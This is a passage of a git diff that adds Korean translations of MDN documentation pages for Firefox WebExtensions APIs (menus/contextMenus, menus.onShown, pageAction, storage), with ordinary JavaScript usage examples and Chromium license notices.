+    "32": "icons/paint-green-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "bluify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemBluify"),
+  contexts: ["all"],
+  checked: false,
+  icons: {
+    "16": "icons/paint-blue-16.png",
+    "32": "icons/paint-blue-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-2",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+var checkedState = true;
+
+browser.menus.create({
+  id: "check-uncheck",
+  type: "checkbox",
+  title: browser.i18n.getMessage("menuItemUncheckMe"),
+  contexts: ["all"],
+  checked: checkedState
+}, onCreated);</pre>
+
+<h2 id="타입">타입</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contextMenus.ContextType")}}</dt>
+ <dd>메뉴가 표시되게 하는 여러 콘텍스트. 가능한 값은: "all", "audio", "browser_action", "editable", "frame", "image", "link", "page", "page_action", "password", "selection", "tab", "video".</dd>
+ <dt>{{WebExtAPIRef("contextMenus.ItemType")}}</dt>
+ <dd>메뉴 항목의 종류: "normal", "checkbox", "radio", "separator".</dd>
+ <dt>{{WebExtAPIRef("contextMenus.OnClickData")}}</dt>
+ <dd>메뉴 항목이 클릭됐을 때 보내지는 정보.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contextMenus.ACTION_MENU_TOP_LEVEL_LIMIT")}}</dt>
+ <dd>최상위에 추가할 수 있는 ContextType이 "browser_action"이나 "page_action"인 메뉴 항목의 최대 수량.</dd>
+</dl>
+
+<h2 id="함수">함수</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contextMenus.create()")}}</dt>
+ <dd>새 콘텍스트 메뉴 항목을 만든다.</dd>
+ <dt>{{WebExtAPIRef("contextMenus.update()")}}</dt>
+ <dd>전에 만든 콘텍스트 메뉴 항목을 갱신한다.</dd>
+ <dt>{{WebExtAPIRef("contextMenus.remove()")}}</dt>
+ <dd>콘텍스트 메뉴 항목을 지운다.</dd>
+ <dt>{{WebExtAPIRef("contextMenus.removeAll()")}}</dt>
+ <dd>확자앱에 추가된 모든 콘텍스트 메뉴 항목을 지운다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contextMenus.onClicked")}}</dt>
+ <dd>콘텍스트 메뉴 항목이 클릭하면 발생한다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ Compat("webextensions.api.menus", 1, "true") }}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/contextMenus"><code>chrome.contextMenus</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/context_menus.json"><code>context_menus.json</code></a> in the Chromium code.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html
new file mode 100644
index 0000000000..1fd716e3bb
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html
@@ -0,0 +1,144 @@
+---
+title: menus.onShown
+slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown
+translation_of: Mozilla/Add-ons/WebExtensions/API/menus/onShown
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>Fired when the browser has shown a menu.</p>
+
+<p>An extension can use this event to update its menu items using information that's only available once the menu is shown. Typically an extension will figure out the update in its <code>onShown</code> handler and then call {{WebExtAPIRef("menus.refresh()")}} to update the menu itself.</p>
+
+<p>The handler can add, remove, or update menu items.</p>
+
+<p>For example, the <a href="https://github.com/mdn/webextensions-examples/tree/master/menu-labelled-open">menu-labelled-open</a> example extension adds a menu item that's shown when the user clicks a link, and that, when clicked, just opens the link. It uses <code>onShown</code> and <code>refresh()</code> to annotate the menu item with the hostname for the link, so the user can easily see where they will go before they click.</p>
+
+<p>Note that an extension should not take too much time before calling <code>refresh()</code>, or the update will be noticeable to the user.</p>
+
+<p>The handler is passed some information about the menu and its contents, and some information from the page (such as the link and/or selection text). To get access to the information from the page, your extension must have the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission</a> for it.</p>
+
+<p>If the <code>onShown</code> handler calls any asynchronous APIs, then it's possible that the menu has been closed again before the handler resumes execution. Because of this, if a handler calls any asynchronous APIs, it should check that the menu is still being displayed before it updates the menu. For example:</p>
+
+<pre class="brush: js">var lastMenuInstanceId = 0;
+var nextMenuInstanceId = 1;
+
+browser.menus.onShown.addListener(async function(info, tab) {
+  var menuInstanceId = nextMenuInstanceId++;
+  lastMenuInstanceId = menuInstanceId;
+
+  // Call an async function
+  await .... ;
+
+  // After completing the async operation, check whether the menu is still shown.
+  if (menuInstanceId !== lastMenuInstanceId) {
+    return; // Menu was closed and shown again.
+  }
+  // Now use menus.create/update + menus.refresh.
+});
+
+browser.menus.onHidden.addListener(function() {
+  lastMenuInstanceId = 0;
+});</pre>
+
+<p>Note that it is possible to call menus API functions synchronously, and in this case you don't have to perform this check:</p>
+
+<pre class="brush: js">browser.menus.onShown.addListener(async function(info, tab) {
+  browser.menus.update(menuId, ...);
+   // Note: Not waiting for returned promise.
+  browser.menus.refresh();
+});</pre>
+
+<p>However, if you call these APIs asynchronously, then you do have to perform the check:</p>
+
+<pre class="brush: js">browser.menus.onShown.addListener(async function(info, tab) {
+  var menuInstanceId = nextMenuInstanceId++;
+  lastMenuInstanceId = menuInstanceId;
+
+  await browser.menus.update(menuId, ...);
+  // must now perform the check
+  if (menuInstanceId !== lastMenuInstanceId) {
+    return;
+  }
+  browser.menus.refresh();
+});</pre>
+
+<p>Firefox makes this event available via the <code>contextMenus</code> namespace as well as the <code>menus</code> namespace.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">browser.menus.onShown.addListener(listener)
+browser.menus.onShown.removeListener(listener)
+browser.menus.onShown.hasListener(listener)
+</pre>
+
+<p>Events have three functions:</p>
+
+<dl>
+ <dt><code>addListener(listener)</code></dt>
+ <dd>Adds a listener to this event.</dd>
+ <dt><code>removeListener(listener)</code></dt>
+ <dd>Stop listening to this event. The <code>listener</code> argument is the listener to remove.</dd>
+ <dt><code>hasListener(listener)</code></dt>
+ <dd>Check whether <code>listener</code> is registered for this event. Returns <code>true</code> if it is listening, <code>false</code> otherwise.</dd>
+</dl>
+
+<h2 id="addListener_syntax">addListener syntax</h2>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>
+ <p>Function that will be called when this event occurs. The function will be passed the following arguments:</p>
+
+ <dl class="reference-values">
+  <dt><code>info</code></dt>
+  <dd>
+  <p><code>Object</code>. This is just like the {{WebExtAPIRef('menus.OnClickData')}} object, except it contains two extra properties:</p>
+
+  <ul>
+   <li><code>contexts</code>: an array of all the {{WebExtAPIRef("menus.ContextType", "contexts")}} that are applicable to this menu.</li>
+   <li><code>menuIds</code>: an array of IDs of all menu items belonging to this extension that are being shown in this menu.</li>
+  </ul>
+
+  <p>Compared with <code>menus.OnClickData</code>, the <code>info</code> object also omits the <code>menuItemId</code> and <code>modifiers</code> properties, because of course these are not available until a menu item has been selected.</p>
+
+  <p>The <code>contexts</code>, <code>menuIds</code>, <code>frameId</code>, and <code>editable</code> properties are always provided. All the other properties in <code>info</code> are only provided if the extension has the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission</a> for the page.</p>
+  </dd>
+ </dl>
+
+ <dl class="reference-values">
+  <dt><code>tab</code></dt>
+  <dd>{{WebExtAPIRef('tabs.Tab')}}. The details of the tab where the click took place. If the click did not take place in or on a tab, this parameter will be missing.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.menus.onShown", 10)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>This example listens for the context menu to be shown over a link, then updates the <code>openLabelledId</code> menu item with the link's hostname:</p>
+
+<pre class="brush: js">function updateMenuItem(linkHostname) {
+  browser.menus.update(openLabelledId, {
+    title: `Open (${linkHostname})`
+  });
+  browser.menus.refresh();
+}
+
+browser.menus.onShown.addListener(info =&gt; {
+  if (!info.linkUrl) {
+    return;
+  }
+  let linkElement = document.createElement("a");
+  linkElement.href = info.linkUrl;
+  updateMenuItem(linkElement.hostname);
+});
+</pre>
+
+<p>{{WebExtExamples}}</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/index.html b/files/ko/mozilla/add-ons/webextensions/api/index.html
new file mode 100644
index 0000000000..a55642e38a
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/index.html
@@ -0,0 +1,51 @@
+---
+title: JavaScript APIs
+slug: Mozilla/Add-ons/WebExtensions/API
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API
+---
+<div>{{AddonSidebar}}</div>
+
+<div>
+<p>The WebExtension JavaScript APIs can be used inside the add-on's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a> and in any other documents bundled with the add-on, including  <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> or <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a> popups, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sidebars">sidebars</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Options_pages">options pages</a>, or <a href="/en-US/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">new tab pages</a>. A few of these APIs can also be accessed by an add-on's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">content scripts</a> (see the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">list in the content script guide</a>).</p>
+
+<p>To use the more powerful APIs you need to <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">request permission</a> in your add-on's manifest.json.</p>
+
+<p>You can access the APIs using the <code>browser</code> namespace:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logTabs</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>currentWindow<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">}</span><span class="punctuation token">,</span> logTabs<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<div>
+<p>Many of the APIs are asynchronous, returning a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logCookie</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">logError</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> setCookie <span class="operator token">=</span> browser<span class="punctuation token">.</span>cookies<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>
+  <span class="punctuation token">{</span>url<span class="punctuation token">:</span> <span class="string token">"https://developer.mozilla.org/"</span><span class="punctuation token">}</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+setCookie<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>logCookie<span class="punctuation token">,</span> logError<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<div>
+<p>Note that this is different from Google Chrome's extension system, which uses the <code>chrome</code> namespace instead of <code>browser</code>, and which uses callbacks instead of promises for asynchronous functions. As a porting aid, the Firefox implementation of WebExtensions supports <code>chrome</code> and callbacks as well as <code>browser</code> and promises. Mozilla has also written a polyfill which enables code that uses <code>browser</code> and promises to work unchanged in Chrome: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p>
+
+<p>Microsoft Edge uses the <code>browser</code> namespace, but doesn't yet support promise-based asynchronous APIs. In Edge, for the time being, asynchronous APIs must use callbacks.</p>
+
+<p>Not all browsers support all the APIs: for the details, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a>.</p>
+</div>
+
+<div>{{SubpagesWithSummaries}}</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html
new file mode 100644
index 0000000000..7d5ad34823
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html
@@ -0,0 +1,99 @@
+---
+title: pageAction
+slug: Mozilla/Add-ons/WebExtensions/API/pageAction
+translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction
+---
+<div>{{AddonSidebar}}</div>
+
+<p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">페이지 액션</a>은 브라우저의 주소창에 있는 아이콘이다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12960/page-action.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 850px;"></p>
+
+<p>아이콘 클릭에 대한 대응은 리스너를 등록하고 클릭 이벤트를 기다리는 것이나, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Popups">팝업창</a>이 열리게 하는 것일 수 있다.</p>
+
+<p>팝업창은 보통의 웹페이지처럼 HTML, CSS, 그리고 자바스크립트로 내용과 동작을 작성할 수 있다. 팝업창에서 실행되는 자바스크립트는 백그라운드 스크립트와 마찬가지로 모든 확장앱 API를 사용할 수 있다.</p>
+
+<p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>의 <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">page_action 키</a>에 페이지 액션의 대부분의 속성들을 정의할 수 있지만, 이것들은 확정되는 것이라 이후에 바꿀 수 없다. 하지만 이 API는 그것들을 프로그램적으로 재정의하는 것도 가능하다. 그러나 API는 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>에 <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">page_action</a> 키가 있어야만 사용할 수 있게 되므로 설사 모든 것을 프로그램적으로 할 계획이더라도 <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">page_action 키</a>는 있어야 한다.</p>
+
+<p>페이지 액션은 특정 페이지에만 적절한 동작들을 위한 것이다(이럴테면 "현재 탭을 북마크하기" 같은). 그렇지 않고, 브라우저가 전반적으로 관련되는 동작이라면(가령은 "모든 북마크 보기" 라면) 브라우저 액션을 대신 사용하라.</p>
+
+<h2 id="자료형">자료형</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("pageAction.ImageDataType")}}</dt>
+ <dd>이미지에 대한 픽셀 자료.</dd>
+</dl>
+
+<h2 id="함수">함수</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("pageAction.show()")}}</dt>
+ <dd>지정한 탭에 페이지 액션을 보인다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.hide()")}}</dt>
+ <dd>지정한 탭의 페이지 액션을 숨긴다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.isShown()")}}</dt>
+ <dd>페이지 액션이 보이는지 아닌지 검사한다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.setTitle()")}}</dt>
+ <dd>페이지 액션의 제목을 설정한다. 이것은 페이지 액션위에 툴팁으로 표시된다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.getTitle()")}}</dt>
+ <dd>페이지 액션의 제목을 얻는다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.setIcon()")}}</dt>
+ <dd>페이지 액션의 아이콘을 설정한다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.setPopup()")}}</dt>
+ <dd>페이지 액션의 팝업 URL을 설정한다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.getPopup()")}}</dt>
+ <dd>페이지 액션의 팝업 URL을 얻는다.</dd>
+ <dt>{{WebExtAPIRef("pageAction.openPopup()")}}</dt>
+ <dd>페이지 액션의 팝업을 연다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("pageAction.onClicked")}}</dt>
+ <dd>페이지 액션의 아이콘이 클릭되면 발생한다. 페이지 액션이 팝업이 설정되어 있으면 발생하지 않는다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("webextensions.api.pageAction")}}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/pageAction"><code>chrome.pageAction</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/page_action.json"><code>page_action.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html
new file mode 100644
index 0000000000..523887dd72
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html
@@ -0,0 +1,93 @@
+---
+title: pageAction.show()
+slug: Mozilla/Add-ons/WebExtensions/API/pageAction/show
+translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction/show
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>지정한 탭의 페이지 액션을 보인다. 페이지 액션은 해당 탭이 활성일 때 표시된다.</p>
+
+<p><code>show()</code>는 설정된 URL 패턴과 상관없이 동작한다. 따라서 <a href="https://developer.mozilla.org/Add-ons/WebExtensions/manifest.json/page_action"><code>show_matches</code></a>와 일치하지 않아도 <a href="https://developer.mozilla.org/Add-ons/WebExtensions/manifest.json/page_action"><code>hide_matches</code></a>여도 표시된다.</p>
+
+<p><code>show()</code>는 아무런 내용도 없는 탭에는 효과가 없다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">browser.pageAction.show(
+  tabId // integer
+)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>tabId</code></dt>
+ <dd><code>integer</code>. 페이지 액션을 표시할 탭의 ID</dd>
+ <dt>
+ <h3 id="반환값">반환값</h3>
+
+ <p>값 없이 해결을 수행하는 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>.</p>
+ </dt>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.pageAction.show")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>콘텍스트 메뉴가 선택되면 페이지 액션을 보이는 예제다. 메뉴를 만들려면 <code>contextMenus</code> <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>이 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest</a>에 필요하다.</p>
+
+<pre class="brush: js">browser.contextMenus.create({
+  id: "show",
+  title: "Show page action"
+});
+
+browser.contextMenus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "show") {
+    browser.pageAction.show(tab.id);
+  }
+});
+</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/pageAction#method-show"><code>chrome.pageAction</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/page_action.json"><code>page_action.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/index.html
new file mode 100644
index 0000000000..254cd7bdcf
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/index.html
@@ -0,0 +1,111 @@
+---
+title: storage
+slug: Mozilla/Add-ons/WebExtensions/API/storage
+tags:
+  - 비표준
+  - 웹확장
+  - 인터페이스
+  - 저장소
+  - 참조
+  - 확장
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage
+---
+<div>{{AddonSidebar}}</div>
+
+<p>웹확장이 데이터를 저장하고, 확인하고, 저장된 항목의 변화를 감시할 수 있도록 해 준다.</p>
+
+<p>저장소 시스템은 <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>에 기반하는데 약간의 차이가 있다:</p>
+
+<ul>
+ <li>비동기로 동작한다.</li>
+ <li>값은 도메인이 아니라 확장에 딸린 것이다 (예. 같은 키/값 쌍일 경우 확장의 모든 스크립트에서 사용할 수 있다).</li>
+ <li>저장된 값은 그저 문자열이 아니라 JSON-화가능 값이다. 배열과 객체도 된다. 단 포함된 값도 JSON으로 나타낼 수 있어야 하므로 DOM의 노드는 안된다. 값을 저장하기 전에 JSON 문자열로 바꿀 필요는 없지만, 내부적으로 JSON으로 다뤄지므로 JSON화가능임은 요구된다.</li>
+ <li>같은 API 호출로 다수의 키/값 쌍을 다룰 수 있다.</li>
+</ul>
+
+<p>이 API를 사용하려면 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> 파일에 "storage" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>이 포함돼야 한다.</p>
+
+<p>각 웹확장은 자신만의 저장소를 따로 가진다. which can be split into different types of storage.</p>
+
+<p>이 API는 {{domxref("Window.localStorage")}}와 비슷하지만, 확장 코드가 확장 관련 데이터를 저장하는데 <code>Window.localStorage</code>를 사용하지 말 것을 권장한다. 사적이 이유로 사용자가 방문 기록이나 데이터를 지우는 다양한 상황에서 확장이 localStorage API로 저장된 데이터는 지워지지만, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a></code> API로 저장한 데이터는 정확하게 유지된다.</p>
+
+<h2 id="자료형">자료형</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea")}}</dt>
+ <dd>저장소 영역을 표현하는 객체.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageChange")}}</dt>
+ <dd>저장소 영역의 변화를 표현하는 객체.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><code>storage</code>에는 저장소 영역의 가능한 형식을 나타내는 세가지 속성이 있다.</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.sync")}}</dt>
+ <dd><code>sync</code> 저장소 영역을 표현한다. <code>sync</code> 저장소의 항목은 브라우저에 동기되므로 사용자가 로그인한 모든 브라우저에서 사용할 수 있다. 기기가 달라도 된다.</dd>
+ <dt>{{WebExtAPIRef("storage.local")}}</dt>
+ <dd><code>local</code> 저장소 영역을 표현한다. <code>local</code> 저장소의 항목은 확장이 설치된 기기에 한정된다.</dd>
+ <dt>{{WebExtAPIRef("storage.managed")}}</dt>
+ <dd><code>managed</code> 저장소 영역을 표현한다. <code>managed</code> 저장소의 항목은 도메인 관리자가 설정하고 확장은 읽을 수만 있으므로 변경을 시도하면 에러가 발생한다.</dd>
+</dl>
+
